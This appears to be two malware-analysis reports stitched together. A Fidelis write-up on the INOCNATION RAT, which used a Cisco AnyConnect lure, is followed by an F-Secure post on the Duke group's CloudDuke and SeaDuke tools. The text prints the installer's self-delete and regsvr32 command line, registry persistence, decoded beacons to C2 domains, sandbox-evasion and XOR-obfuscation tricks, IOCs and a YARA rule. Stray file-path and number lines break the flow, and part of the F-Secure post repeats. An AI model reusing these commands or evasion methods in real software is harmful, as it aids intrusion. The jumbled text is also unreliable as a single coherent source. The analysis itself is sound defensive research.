enterprise and infrastructure. If this malware were to be copied amongst other copies of an administrators software library, the system administrator may later confuse this malware for other legitimate Cisco software, thus infecting him and/or another user to whom the software was forwarded. Please note that this is not a vulnerability or exploit within the Cisco product, but a decision by the attacker to use a Cisco application as a decoy. Other attacks have been reported to use similar security software lures, such as Juniper Networks and Microsoft Exchange. RAT Installer (MD5: 4F4BF27B738FF8F2A89D1BC487B054A8) During reverse engineering of the RAT Installer we observed that the file implemented an anti-behavioral analysis technique. This technique compared the mouse/cursor pointers screen position coordinates at two different points in time (5000 milliseconds). The author is using routine to detect whether the malware has been executed without a user being present, which is typically done during sandbox analysis. This technique will defeat less sophisticated sandboxes that do not implement simulation actions, such as mouse movement or mouse clicks during runtime analysis. http://blog.airbuscybersecurity.com/post/2015/10/Malware-Sakula-Evolutions-28Part-2/229 WWW.FIDELISSECURITY.COMFidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 5 Figure 7 - Simple Sandbox Detection Check via Mouse Movement The RAT Installer contains an obfuscated malicious DLL payload, which it rebuilds and installs. The embedded file (MD5: 75D3D1F23628122A64A2F1B7EF33F5CF), later written to disk as adobe.dat, is obfuscated with a double XOR loop with keys 0x2C and 0x7B (this is mathematically equivalent to a single XOR loop with the byte key 0x57). Once this DLL is de-obfuscated, we observed another common anti-behavioral analysis technique used to try and extend the longevity of the loaded payloads usage. The malware is missing an appropriate MZ header. The first two hexadecimal bytes of the payload data are 0x9B 0x8A, but they should start with 0x4D 0x5A, the bytes for the ASCII characters MZ. This is a method attackers can use to confuse virus detection engines looking for malicious code as an effort to detect or disinfect the data in memory. Virus detection engines generally hook API calls in User mode or Kernel mode that are used for file input/output, such as the WriteFile API call. If an intact executable is found within the memory buffer the binary is sent off for behavioral analysis by the detection engine. In order to prevent detonation on hosts other than that of the intended victim, the malware author has purposely mangled the first two bytes of the RAT Implant. After writing the payload implant code the first two bytes of the file are corrected from 0x9B 0x8A to 0x4D 0x5A and the malware is entrenched into the system. Figure 8 Two WriteFile API calls. The First to Write the Payload File and Then the Second to Correct the First to Bytes to MZ. WWW.FIDELISSECURITY.COMFidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 6 Figure 9 - Registry Entrenchment Entry The RAT Installer also sets the entrenchment/persistence mechanism for the payload malware. While this is a trivial persistence method, the malware Payload DLL has the ability to reference this registry key during the un-install routine, which will be described later. Finally, just before exit the RAT Installer lauches a new process with a similar argument string to, cmd /c ping 127.0.0.1del TEMP\ Center111940519.exeregsvr32 /s AppData\adobe\adobe.dat. Within this command several things are happening: 1. A ping to local host acts as a command to sleep for four seconds 2. Delete itself, the RAT Installer file, Center111940519.exe 3. Execute the Implant DLL Payload file RAT Implant/Payload (MD5: 75D3D1F23628122A64A2F1B7EF33F5CF) Figure 10 - Unicode String Stacking then XOR deobfuscation of the User-Agent String WWW.FIDELISSECURITY.COMFidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 7 Analysis of the malicious payload DLL reveals that the malware was using a string stacking technique that moves four bytes of a Unicode string at a time into memory. This technique is used as needed throughout the binary and each time with different XOR key bytes. For example, the string at the relative virtual address (RVA) 0x10001630 is loaded and then XORd with key 0x0d to reveal the following User-agent string in Unicode format: Mozilla/5.0 (Windows NT 6.3 WOW64 Trident/7.0rv:11.0) like Gecko Similar activity also occurs at RVA 0x10000179F where the string is XORd with key 0x14 to reveal the following static string observed in the beacon to the C2: 1a53b0cp32e46g0qio9 The code for that procedure is below: While this string stacking technique is very common within shellcode, it is less frequently used with Unicode strings because Unicode strings are two bytes in length for every character, as compared to one-byte length for ASCII characters. This technique doubles the amount of data needed for the string. Other malware families such as Ixeshe/Etumbot, which are known to be used by Numbered Panda, also utilize this technique. The string stacking technique is used to make analysis more difficult so that the strings cannot be easily discovered by malware analysis tools such as XORSearch. Again, the less-interesting Double XOR routine appears to be used to obfuscate the C2 domain with the single-byte keys 0x70 and 0x79. In this case the Double XOR with 0x70 and 0x79 is mathematically equivalent to a Single XOR operation using 0x09. While the Double XOR is a trivial technique, it is the sum of the routines and keys used in malware that can end up leading to attribution. The obfuscated string is: 10006148 60 09 67 09 66 09 6A 09 67 09 68 09 7D 09 60 09 .g.f.j.g.h... 10006158 66 09 67 09 27 09 6A 09 66 09 64 09 f.g..j.f.d. WWW.FIDELISSECURITY.COMFidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 8 Below is a table that shows the mathematical logic in how the above is decoded into the actual C2 domain: Obfuscated String 1st XOR Key Result 2nd XOR Key C2 Hex C2 ASCII 60 10 69 i 09 79 00 67 17 6E n 09 79 00 66 16 6F o 09 79 00 6A 1A 63 c 09 79 00 67 17 6E n 09 79 00 68 18 61 a 09 79 00 7D 0x70 0D 0x79 74 t 09 79 00 60 70 69 i 09 79 00 66 16 6F o 09 79 00 67 17 6E n 09 79 00 27 57 2E . 09 79 00 6A 1A 63 c 09 79 00 66 16 6F o 09 79 00 64 14 6D m 09 79 00 WWW.FIDELISSECURITY.COMFidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 9 And this is the portion of the code responsible for this process: Figure 11 - Assembly Code Instructions for the Double XOR Routine Next, the malware implant uses more than one layer to obfuscate its network Command and Control (C2) communications. The outer layer is an encrypted HTTPS via an SSL/TLS connection using the Windows standard SSL/TLS libraries. A SSL/TLS connection is used as an effort to prevent others in the open Internet from seeing the contents of a communication. Figure 12 - Malware Sets the Flag WINHTTP_FLAG_SECURE Requesting An SSL/TLS Connection Out Commercial enterprises will generally purchase SSL Inspection hardware that essentially perform a Man-In-The-Middle technique on all SSL/ TLS traffic that passes through it, allowing the entity to have visibility and inspection of network traffic that would otherwise be non-visible. During analysis we noticed that within the decrypted SSL/TLS communication the commands to/from the C2 are encoded with a single-byte XOR. An additional layer used to thwart detection and analysis efforts. For targets in which a victim is seated in an organization that has an SSL Inspection device, the malware takes this additional step to further hide its network activity. The malware uses the single-byte XOR key 0x5C to send the victims data back to the C2, and in the C2 response back to the malware the command arguments received are obfuscated with a different key of 0x2E. Completely decrypted and de-obfuscated network traffic from this malware will look like the following (replace COMPUTER_NAME with actual name of computer, host header remove brackets): POST /-1289335108[COMPUTER_NAME].1a53b0cp32e46g0qio9 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3 WOW64 Trident/7.0 rv:11.0) like Gecko Host: inocnation[. ]com Content-Length: 8 Connection: Keep-Alive WWW.FIDELISSECURITY.COMFidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 10 In the above POST request, the string 1a53b0cp32e46g0qio9 is staticly embedded within the binary, not changing between C2 beacons, and the negative value -1289335108 refers to the signed integer representation of the Victims Volume Serial Number without the dash (-). Figure 13 shows this representation for a Victim system using the Volume Serial Number: B326-4EBC. Figure 13 - Hexidecimal to Signed Integer Conversion The DLL can accept the following list of commands from its C2: Binary Command Description 0x10 Process Execution 0x90 Reverse Shell 0x02 File Activity (delete file, directory browsing, etc.) 0x60 0xA0 Upload File to Victim System 0x04 Download File From Victim System 0x70 Get System Information 0x80 Uninstall Malware The Uninstall command was the most interesting, suggesting that the actor controlling this malware would like to keep a limited number of victims by removing this tool when commanded. THE FIDELIS TAKE The techniques documented in this report indicate a level of sophistication that make reverse engineering more difficult and to obscure the intentions of the actor behind this malware. Using Cisco AnyConnect software as a lure continues a pattern of using typical corporate software as a vehicle to infect victim machines. The use of multiple XOR keys and string stacking show the actor is spending great effort to deceive reverse engineers and incident responders. The use of both SSL/TLS and encoded communications show the knowledge many enterprises perform SSL man-in-the-middle decryption of traffic and this provides a layer to hide communications from incident responders. This paper highlights many of these techniques and how we were able to bypass them. Fidelis Cybersecuritys products detect the activity documented in this paper and additional technical indicators are published in the appendices of this paper and to the Fidelis Cybersecurity github at https://github.com/fideliscyber. We want to thank our fellow security researchers at CrowdStrike for sharing hashes of the malware samples analyzed in this report. https://github.com/fideliscyber WWW.FIDELISSECURITY.COMFidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 11 Appendix A: Summary of Informal Triage Analysis On Discovered Payload Files MD5 Hash Function Description 75D3D1F23628122A64A2F1B7EF33F5CF RAT Implant/Payload OLE Control Library (DLL) D9821468315CCD3B9EA03161566EF18E RAT Implant/Payload OLE Control Library (DLL) B9AF5F5FD434A65D7AA1B55F5441C90A RAT Implant/Payload OLE Control Library (DLL) The first two DLLs beacon to inocnation[dot]com. The malware for this analysis was compiled between April - August 2015 and the DLLs exhibited a very low detection rate on VirusTotal. Analysis of the file with MD5 Hash: 75D3D1F23628122A64A2F1B7EF33F5CF In our lab, this file is written as APPDATA\adobe\adobe.bat. It is an OLE Control DLL exporting the basic functions named DllRegisterServer and DllUnregisterServer. This file is dropped by the executable file with MD5 hash: 4F4BF27B738FF8F2A89D1BC487B054A8. File Metadata File Name: adobe.dat File Size: 22016 bytes MD5: 75d3d1f23628122a64a2f1b7ef33f5cf SHA1: 3d7b789e3a630c0bd9db0b3217f72348025b845c PE Time: 0x55372A7A [Wed Apr 22 04:58:34 2015 UTC] PEID Sig: Microsoft Visual C v6.0 DLL Sections (4): Name Entropy MD5 .text 6.46 5c3d9bac10a06111e2bb1356bce6140a .rdata 4.62 69fc21366b719cab74f899fb18a8c26f .data 0.0 bf619eac0cdf3f68d496ea9344137e8b .reloc s4.28 4e2b7dd08fa32594616a1d463e9b0975 Entrenchment mechanism for persistence into the system: Key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Value name: AdobePlayer Value data: regsvr32 /s C:\Documents and Settings\[USER_NAME]\Application Data\adobe\adobe.dat Analysis of the file with MD5 Hash: D9821468315CCD3B9EA03161566EF18E This DLL payload is the same malware family, contains the same inocnation[dot]com C2 configuration as the one dropped by the file with the MD5 Hash: 4F4BF27B738FF8F2A89D1BC487B054A8, but looks to be compiled via a slightly different source. File Metadata File Name: d9821468315ccd3b9ea03161566ef18e.dll File Size: 28672 bytes MD5: d9821468315ccd3b9ea03161566ef18e SHA1: b9308a65383681b862e16e4c042dbf7a61cce716 PE Time: 0x55ECEE49 [Mon Sep 07 01:54:17 2015 UTC] PEID Sig: Microsoft Visual C v6.0 DLL Sections (5): Name Entropy MD5 .text 6.48 ee6cde0fdae9bfa6c18b3783a23d0952 .rdata 4.77 886f6f3780467a511ae909d20390df5b .data 1.16 54d7948676ee96b2f9e0a141598b564d .rsrc 5.55 e5665b3b3ffbbfcd5f2cbf31677fcbf9 .reloc 4.64 c1cea8dced657cfc85b045a2421417f1 WWW.FIDELISSECURITY.COMFidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 12 When this malicious DLL is executed by calling it with its DllRegisterServer function, the Victim system establishes a secure and encrypted connection on port 443 and beacons with the following request (encryption layer removed). POST /-1289335108[COMPUTER_NAME].1a53b0cp32e46g0qio7 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3 WOW64 Trident/7.0 rv:11.0) like Gecko Host: inocnation[dot]com Content-Length: 8 Connection: Keep-Alive Analysis of the file with MD5 Hash: B9AF5F5FD434A65D7AA1B55F5441C90A This is a malicious DLL that belongs to the same malware family as the one dropped by 4f4bf27b738ff8f2a89d1bc487b054a8, and is almost byte-by-byte exactly similar except for the fact that it beacons to a different C2 domain mail.cbppnews[dot]com. This DLL also contains the basic export functions of DllRegisterServer and DllUnregisterServer. The main difference with the other malware is the C2 server. File Metadata File Name: b9af5f5fd434a65d7aa1b55f5441c90a.dll File Size: 22016 bytes MD5: b9af5f5fd434a65d7aa1b55f5441c90a SHA1: 9b1e902103f7e23d915f4d01c84779e0bdca6995 PE Time: 0x55372A7A [Wed Apr 22 04:58:34 2015 UTC] PEID Sig: Microsoft Visual C v6.0 DLL Sections (4): Name Entropy MD5 .text 6.46 5c3d9bac10a06111e2bb1356bce6140a .rdata 4.64 76ae6bd3bce3f1fb9a86b9faac9b42be .data 0.0 bf619eac0cdf3f68d496ea9344137e8b .reloc 4.28 4e2b7dd08fa32594616a1d463e9b0975 When this malicious DLL is executed the Victim system establishes a secure and encrypted connection on port 443 and beacons with the following request (encryption layer removed). POST /-1289335108[COMPUTER_NAME].1a53b0cp32e46g0qio9 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3 WOW64 Trident/7.0 rv:11.0) like Gecko Host: mail.cbppnews[dot]com Content-Length: 8 Connection: Keep-Alive The following string represents the obfuscated format of the Command Control (C2) domain: 00B9FD24 25 48 29 48 21 48 24 48 66 48 2B 48 2A 48 38 48 H)HHHfHHH8H 00B9FD34 38 48 26 48 2D 48 3F 48 3B 48 66 48 2B 48 27 48 8HH-H?HHfHHH 00B9FD44 25 48 The C2 domain is de-obfuscated using the same code observed in the analysis of the 75D3D1F23628122A64A2F1B7EF33F5CF (malicious DLL payload dropped into the system), but in this case the XOR keys used are different from the sample previously analyzed. The XOR keys used are 0x39 and 0x71. WWW.FIDELISSECURITY.COMFidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 13 Appendix B: File Summary and Technical Indicators MD5 File name AV Hits Common Risk Name Notes Compile Date a7bd555866ae1c161f78630a638850e7 Win-Release-web-deploy. exe 17 Trojan. CryptRedol Launcher/ Dropper Thu Aug 06 05:34:53 2015 5cb6e6e0fbe87eba975b5ae0efaf2ca4 Center14430654.dat / any- connect-win-4.1.04011- web-deploy-k9.exe 0 None Legit Cisco AnyConnect Mobility Cli- ent installer Mon Mar 01 10:28:24 2010 4f4bf27b738ff8f2a89d1bc487b054a8 Center111940519.dat 12 Trojan. CryptRedol. Gen.3 Malware installer Thu Aug 06 04:47:17 2015 75d3d1f23628122a64a2f1b7ef33f5cf adobe.dat 4 Trojan-FH- DR75D3D1F23628 Malicious DLL Wed Apr 22 04:58:34 2015 d9821468315ccd3b9ea03161566ef18e unknown 4 Trojan.
241
FHDRtr Malicious DLL Mon Sep 07 01:54:17 2015 b9af5f5fd434a65d7aa1b55f5441c90a adobe.dat 5 Trojan-FHDR Backdoor.
50,159
50,502
344
data/reports_final/0241.txt
FHDRtr Malicious DLL Mon Sep 07 01:54:17 2015 b9af5f5fd434a65d7aa1b55f5441c90a adobe.dat 5 Trojan-FHDR Backdoor. HIXOR.A Trojan. Atr Malicious DLL Wed Apr 22 04:58:34 2015 Indicator List: File Entrenchment Paths: TEMP\Center1[Decimal_Result_of_GetTickCount].dat TEMP\Center[Decimal_Result_of_GetTickCount].dat AppData\adobe\adobe.dat Persistence Location: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] AdobePlayerregsvr32 /s AppData\malware\adobe\adobe.dat Memory Artifacts: inocnation[dot]com mail.cbppnews[dot]com 1a53b0cp32e46g0qio9 Hashes: A7BD555866AE1C161F78630A638850E7 4F4BF27B738FF8F2A89D1BC487B054A8 75D3D1F23628122A64A2F1B7EF33F5CF D9821468315CCD3B9EA03161566EF18E B9AF5F5FD434A65D7AA1B55F5441C90A DNS: inocnation[dot]com mail.cbppnews[dot]com Resolved IPs: 211.104.106[. ]41 (inocnation from August to October, 2015) 87.198.23[. ]40 (inocnation, current) 202.172.32[. ]160 (cbppnews, current) WWW.FIDELISSECURITY.COM Fidelis Cybersecurity 800.652.4020 infofidelissecurity.com CONTACT US TODAY TO LEARN MORE ABOUT FIDELIS Fidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 Users are granted permission to copy and/or distribute this document in its original electronic form and print copies for personal use. This document cannot be modified or converted to any other electronic or machine-readable form in whole or in part without prior written approval of Fidelis Cybersecurity, Inc. While we have done our best to ensure that the material found in this document is accurate, Fidelis Cybersecurity, Inc. makes no guarantee that the information contained herein is error free. 14 YARA: rule apt_win32_dll_rat_1a53b0cp32e46g0qio7 meta: hash1 75d3d1f23628122a64a2f1b7ef33f5cf hash2 d9821468315ccd3b9ea03161566ef18e hash3 b9af5f5fd434a65d7aa1b55f5441c90a strings: // Mozilla/5.0 (Windows NT 6.3 WOW64 Trident/7.0rv:11.0) like Gecko c7 [2] 64 00 63 00 c7 [2] 69 00 62 00 c7 [2] 7a 00 7e 00 c7 [2] 2d 00 43 00 c7 [2] 59 00 2d 00 c7 [2] 3b 00 23 00 c7 [2] 3e 00 36 00 c7 [2] 2d 00 5a 00 c7 [2] 42 00 5a 00 c7 [2] 3b 00 39 00 c7 [2] 36 00 2d 00 c7 [2] 59 00 7f 00 c7 [2] 64 00 69 00 c7 [2] 68 00 63 00 c7 [2] 79 00 22 00 c7 [2] 3a 00 23 00 c7 [2] 3d 00 36 00 c7 [2] 2d 00 7f 00 c7 [2] 7b 00 37 00 c7 [2] 3c 00 3c 00 c7 [2] 23 00 3d 00 c7 [2] 24 00 2d 00 c7 [2] 61 00 64 00 c7 [2] 66 00 68 00 c7 [2] 2d 00 4a 00 c7 [2] 68 00 6e 00 c7 [2] 66 00 62 00 // offset 10001566 // Software\Microsoft\Windows\CurrentVersion\Run c7 [2] 23 00 24 00 c7 [2] 24 00 33 00 c7 [2] 38 00 22 00 c7 [2] 00 00 33 00 c7 [2] 24 00 25 00 c7 [2] 3f 00 39 00 c7 [2] 38 00 0a 00 c7 [2] 04 00 23 00 c7 [2] 38 00 00 00 c7 [2] 43 00 66 00 c7 [2] 6d 00 60 00 c7 [2] 67 00 52 00 c7 [2] 6e 00 63 00 c7 [2] 7b 00 67 00 c7 [2] 70 00 00 00 c7 [2] 43 00 4d 00 c7 [2] 44 00 00 00 c7 [2] 0f 00 43 00 c7 [2] 00 00 50 00 c7 [2] 49 00 4e 00 c7 [2] 47 00 00 00 c7 [2] 11 00 12 00 c7 [2] 17 00 0e 00 c7 [2] 10 00 0e 00 c7 [2] 10 00 0e 00 c7 [2] 11 00 06 00 c7 [2] 44 00 45 00 c7 [2] 4c 00 00 00 // 10003D09 66 [4-7] 0d 40 83 f8 44 7c ?? // xor word ptr [ebpeax2var_5C], 14h // inc eax // cmp eax, 14h // Loop to decode a static string. It reveals the 1a53b0cp32e46g0qio9 static string sent in the beacon 66 [4-7] 14 40 83 f8 14 7c ? ? // 100017F0 66 [4-7] 56 40 83 f8 2d 7c ? ? // 10003621 66 [4-7] 20 40 83 f8 1a 7c ? ? // 10003640 80 [2-7] 2e 40 3d 50 02 00 00 72 ? ? // 10003930 08x08x08x08x wide ascii WinHttpGetIEProxyConfigForCurrentUser wide ascii condition: (uint16(0) 0x5A4D or uint32(0) 0x4464c457f) and (all of them) http://www. FidelisCybersecurity.com Duke APT groups latest tools: cloud services and Linux support - F- Secure Weblog : News from the Lab Recent weeks have seen the outing of two new additions to the Duke groups toolset, SeaDuke and CloudDuke. Of these, SeaDuke is a simple trojan made interesting by the fact that its written in Python. And even more curiously, SeaDuke, with its built-in support for both Windows and Linux, is the first cross-platform malware we have observed from the Duke group. While SeaDuke is a single - albeit cross- platform - trojan, CloudDuke appears to be an entire toolset of malware components, or solutions as the Duke group apparently calls them. These components include a unique loader, downloader, and not one but two different trojan components. CloudDuke also greatly expands on the Duke groups usage of cloud storage services, specifically Microsofts OneDrive, as a channel for both command and control as well as the exfiltration of stolen data. Finally, some of the recent CloudDuke spear-phishing campaigns have born a striking resemblance to CozyDuke spear-phishing campaigns from a year ago. Linux support added with the cross-platform SeaDuke malware Last week, both Symantec and Palo Alto Networks published research on SeaDuke, a newer addition to the arsenal of trojans being used by the Duke group. While older malware by the Duke group has always been written with a combination of the C and C programming languages as well as assembly language, SeaDuke is peculiarly written in Python with multiple layers of obfuscation. This Python code is usually then compiled into Windows executables using py2exe or pyinstaller. However, the Python code itself has been designed to work on both Windows and Linux. We therefore suspect, that the Duke group is also using the same SeaDuke Python code to target Linux victims. This is the first time we have seen the Duke group employ malware to target Linux platforms. An example of the cross-platform support found in SeaDuke. A new set of solutions with the CloudDuke malware toolset Last week, we also saw Palo Alto Networks and Kaspersky Labs publish research on malware components they respectively called MiniDionis and CloudLook. MiniDionis and CloudLook are both components of a http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/ http://researchcenter.paloaltonetworks.com/2015/07/tracking-minidionis-cozycars-new-ride-is-related-to-seaduke/ https://securelist.com/blog/research/71443/minidionis-one-more-apt-with-a-usage-of-cloud-drives/ larger malware toolset we call CloudDuke. This toolset consists of malware components that provide varying functionality while partially relying on a shared code framework and always using the same loader. Based on PDB strings found in the samples, the malware authors refer to the CloudDuke components as solutions with names such as DropperSolution, BastionSolution and OneDriveSolution. A list of PDB strings we have observed is below: C:\DropperSolution\Droppers\Projects\Drop_v2\Release\Drop_v2.pdb c:\BastionSolution\Shells\Projects\miniDionis4\miniDionis\obj\Release\miniDionis.pdb c:\BastionSolution\Shells\Projects\miniDionis2\miniDionis\obj\Release\miniDionis.pdb c:\OneDriveSolution\Shells\Projects\OneDrive2\OneDrive\obj\x64\Release\OneDrive.pdb The first of the CloudDuke components we have observed is a downloader internally called DropperSolution. The purpose of the downloader is to download and execute additional malware on the victims system. In most observed cases, the downloader will attempt to connect to a compromised website to download an encrypted malicious payload which the downloader will decrypt and execute. Depending on the way the downloader has been configured, in some cases it may first attempt to log in to Microsofts cloud storage service OneDrive and retrieve the payload from there. If no payload is available from OneDrive, the downloader will revert to the previously mentioned method of downloading from compromised websites. We have also observed two distinct trojan components in the CloudDuke toolset. The first of these, internally called BastionSolution, is the trojan that Palo Alto Networks described in their research into MiniDionis. Interestingly, BastionSolution appears to functionally be an exact copy of SeaDuke with the only real difference being the choice of programming language. BastionSolution also makes significant use of a code framework that is apparently internally called Z. This framework provides classes for functionality such as encryption, compression, randomization and network communications. A list of classes in the BastionSolution trojan, including multiple classes from the Z framework. Classes from the same Z framework, such as the encryption and randomization classes, are also used by the second trojan component of the CloudDuke toolset. This second component, internally called OneDriveSolution, is especially interesting because it relies on Microsofts cloud storage service OneDrive as its command and control channel. To achieve this, OneDriveSolution will attempt to log into OneDrive with a preconfigured username and password. If successful, OneDriveSolution will then proceed to copy data from the victims computer to the OneDrive account. It will also search the OneDrive account for files containing commands for the malware to execute. A list of classes in the OneDriveSolution trojan, including multiple classes from the Z framework. All of the CloudDuke solutions use the same loader, a piece of code whose primary purpose is to decrypt the embedded, encrypted solution, load it in memory and execute it. The Duke group has often employed loaders for their malware but unlike the previous loaders they have used, the CloudDuke loader is much more versatile with support for multiple methods of loading and executing the final payload as well as the ability to write to disk and execute additional malware components. CloudDuke spear-phishing campaigns and similarities with CozyDuke CloudDuke has recently been spread via spear-phishing emails with targets reportedly including organizations such as the US Department of Defense. These spear-phising emails have contained links to compromised websites hosting zip archives that contain CloudDuke-laden executables. In most cases, executing these executables will have resulted in two additional files being written to the victims hard disk. The first of these files has been a decoy, such as an audio file or a PDF file while the second one has been a CloudDuke loader embedding a CloudDuke downloader, the so-called DropperSolution. In these cases, the victim has been presented with the decoy file while in the background the downloader has proceeded to download and execute one of the CloudDuke trojans, OneDriveSolution or BastionSolution. http://www.thedailybeast.com/articles/2015/07/18/russian-hackers-target-the-pentagon.html Example of one of the decoy documents employed in the CloudDuke spear-phishing campaigns. It has apparently been copied by the attackers from here. Interestingly, however, some of the other CloudDuke spear-phishing campaigns we have observed this July have born a striking resemblance to CozyDuke spear-phishing campaigns seen almost exactly a year ago, in the beginning of July 2014. In both spear-phishing campaigns, the decoy document has been the exact same PDF file, a US letter fax test page (28d29c702fdf3c16f27b33f3e32687dd82185e8b). Similarly, the URLs hosting the malicious files have, in both campaigns, purported to be related to eFaxes. It is also interesting to note, that in the case of the CozyDuke-inspired CloudDuke spear-phishing campaign, the downloading and execution of the malicious archive linked to in the emails has not resulted in the execution of the CloudDuke downloader but in the execution of the BastionSolution component thereby skipping one step from the process described for the other CloudDuke spear-phishing campaigns. https://www.ndi.org/files/NDI20Georgia_April20201520Poll_Public20Issues_ENG_VF_0.pdf The US letter fax test page decoy employed in both CloudDuke and CozyDuke spear-phishing campaigns. Increasingly using cloud services to evade detection CloudDuke is not the first time we have observed the Duke group use cloud services in general and Microsoft OneDrive specifically as part of their operations. Earlier this spring we released research on CozyDuke where we mentioned observing CozyDuke sometimes either directly use a OneDrive account to exfiltrate stolen data or alternatively CozyDuke downloading Visual Basic scripts that would copy stolen files to a OneDrive account and sometimes even retrieve files containing additional commands from the same OneDrive account. In these previous cases the Duke group has only used OneDrive as a secondary communication channel but still relied on more traditional CC channels for most of their actions. It is therefore interesting to note that CloudDuke actually enables the Duke group to rely solely on OneDrive for every step of their operation from downloading the actual trojan, passing commands to the trojan and finally exfiltrating stolen data. By relying solely on 3rd party web services, such as OneDrive, as their command and control channel, we believe the Duke group is trying to better evade detection. Large amounts of data being transferred from an organizations network to an unknown web server easily raises suspicions. However, data being transferred to a popular cloud storage service is normal. What better way for an attacker to surreptitiously transfer large amounts of stolen data than the same way people are transferring that same data every day for legitimate reasons. ( Coincidentally, the implications of 3rd party web services being used as command and control channels is also the subject of an upcoming talk at the VirusBulletin 2015 conference). Directing limited resources towards evading detection and staying ahead of defenders Developing even a single multipurpose malware toolset, never mind many, requires time and resources. Therefore it seems logical to attempt to reuse code such as supporting frameworks between different toolsets. The Duke group, however, appear to have taken this a step further with SeaDuke and the CloudDuke component BastionSolution, by rewriting the same code in multiple programming languages. This has the obvious benefits of saving time and resources by providing two malware toolsets, that while similar on the inside, appear completely different on the outside. This way, the discovery of one toolset does not immediately lead to the discovery of the second toolset. The Duke group, long suspected of ties to the Russian state, have been running their espionage operation for an unusually long time and - especially lately - with unusual brazenness. These latest CloudDuke and SeaDuke campaigns appear to be a clear sign that the Dukes are not planning to stop any time soon. Research and post by Artturi (lehtior2) https://www.f-secure.com/documents/996508/1030745/CozyDuke https://www.virusbtn.com/conference/vb2015/abstracts/R-Lehtio.xml https://twitter.com/lehtior2 F-Secure detects CloudDuke as Trojan:W32/CloudDuke. B and Trojan:W64/CloudDuke. B Samples: 04299c0b549d4a46154e0a754dda2bc9e43dff76 2f53bfcd2016d506674d0a05852318f9e8188ee1 317bde14307d8777d613280546f47dd0ce54f95b 476099ea132bf16fa96a5f618cb44f87446e3b02 4800d67ea326e6d037198abd3d95f4ed59449313 52d44e936388b77a0afdb21b099cf83ed6cbaa6f 6a3c2ad9919ad09ef6cdffc80940286814a0aa2c 78fbdfa6ba2b1e3c8537be48d9efc0c47f417f3c 9f5b46ee0591d3f942ccaa9c950a8bff94aa7a0f bfe26837da22f21451f0416aa9d241f98ff1c0f8 c16529dbc2987be3ac628b9b413106e5749999ed cc15924d37e36060faa405e5fa8f6ca15a3cace2 dea6e89e36cf5a4a216e324983cc0b8f6c58eaa8 e33e6346da14931735e73f544949a57377c6b4a0 ed0cf362c0a9de96ce49c841aa55997b4777b326 f54f4e46f5f933a96650ca5123a4c41e115a9f61 f97c5e8d018207b1d546501fe2036adfbf774cfd Compromised servers used for command and control: hxxps://cognimuse.cs.ntua.gr/search.php hxxps://portal.sbn.co.th/rss.php hxxps://97.75.120.45/news/archive.php hxxps://portal.sbn.co.th/rss.php hxxps://58.80.109.59/plugins/search.php Compromised websites used to host CloudDuke: hxxp://flockfilmseries.com/eFax/incoming/5442.ZIP hxxp://www.recordsmanagementservices.com/eFax/incoming/150721/5442.ZIP hxxp://files.counseling.org/eFax/incoming/150721/5442.ZIP Page 1 Duke APT groups latest tools: cloud services and Linux support - F- Secure Weblog : News from the Lab Recent weeks have seen the outing of two new additions to the Duke groups toolset, SeaDuke and CloudDuke. Of these, SeaDuke is a simple trojan made interesting by the fact that its written in Python. And even more curiously, SeaDuke, with its built-in support for both Windows and Linux, is the first cross-platform malware we have observed from the Duke group. While SeaDuke is a single - albeit cross- platform - trojan, CloudDuke appears to be an entire toolset of malware components, or solutions as the Duke group apparently calls them. These components include a unique loader, downloader, and not one but two different trojan components. CloudDuke also greatly expands on the Duke groups usage of cloud storage services, specifically Microsofts OneDrive, as a channel for both command and control as well as the exfiltration of stolen data. Finally, some of the recent CloudDuke spear-phishing campaigns have born a striking resemblance to CozyDuke spear-phishing campaigns from a year ago. Linux support added with the cross-platform SeaDuke malware Last week, both Symantec and Palo Alto Networks published research on SeaDuke, a newer addition to the arsenal of trojans being used by the Duke group. While older malware by the Duke group has always been written with a combination of the C and C programming languages as well as assembly language, SeaDuke is peculiarly written in Python with multiple layers of obfuscation. This Python code is usually then compiled into Windows executables using py2exe or pyinstaller. However, the Python code itself has been designed to work on both Windows and Linux. We therefore suspect, that the Duke group is also using the same SeaDuke Python code to target Linux victims. This is the first time we have seen the Duke group employ malware to target Linux platforms. An example of the cross-platform support found in SeaDuke. A new set of solutions with the CloudDuke malware toolset http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/ Last week, we also saw Palo Alto Networks and Kaspersky Labs publish research on malware components they respectively called MiniDionis and CloudLook. MiniDionis and CloudLook are both components of a larger malware toolset we call CloudDuke. This toolset consists of malware components that provide varying functionality while partially relying on a shared code framework and always using the same loader. Based on PDB strings found in the samples, the malware authors refer to the CloudDuke components as solutions with names such as DropperSolution, BastionSolution and OneDriveSolution. A list of PDB strings we have observed is below: C:\DropperSolution\Droppers\Projects\Drop_v2\Release\Drop_v2.pdb c:\BastionSolution\Shells\Projects\miniDionis4\miniDionis\obj\Release\miniDionis.pdb c:\BastionSolution\Shells\Projects\miniDionis2\miniDionis\obj\Release\miniDionis.pdb c:\OneDriveSolution\Shells\Projects\OneDrive2\OneDrive\obj\x64\Release\OneDrive.pdb The first of the CloudDuke components we have observed is a downloader internally called DropperSolution. The purpose of the downloader is to download and execute additional malware on the victims system. In most observed cases, the downloader will attempt to connect to a compromised website to download an encrypted malicious payload which the downloader will decrypt and execute. Depending on the way the downloader has been configured, in some cases it may first attempt to log in to Microsofts cloud storage service OneDrive and retrieve the payload from there. If no payload is available from OneDrive, the downloader will revert to the previously 